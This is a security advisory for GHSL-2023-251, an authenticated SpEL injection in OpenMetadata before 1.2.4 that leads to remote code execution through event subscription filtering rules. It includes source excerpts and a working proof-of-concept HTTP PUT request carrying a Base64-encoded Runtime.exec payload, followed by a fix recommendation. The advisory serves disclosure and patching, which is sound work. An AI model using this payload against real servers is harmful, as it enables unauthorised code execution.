| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| org.open-metadata:openmetadata-service | < 1.2.4 | 1.2.4 |
| openmetadata | < 1.2.4 | 1.2.4 |
PUT /api/v1/events/subscriptions (GHSL-2023-251)Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}
private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}
prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíNote that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():
@PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353
{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
/tmp/pwned was created in the OpenMetadata serverThis issue may lead to Remote Code Execution.
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.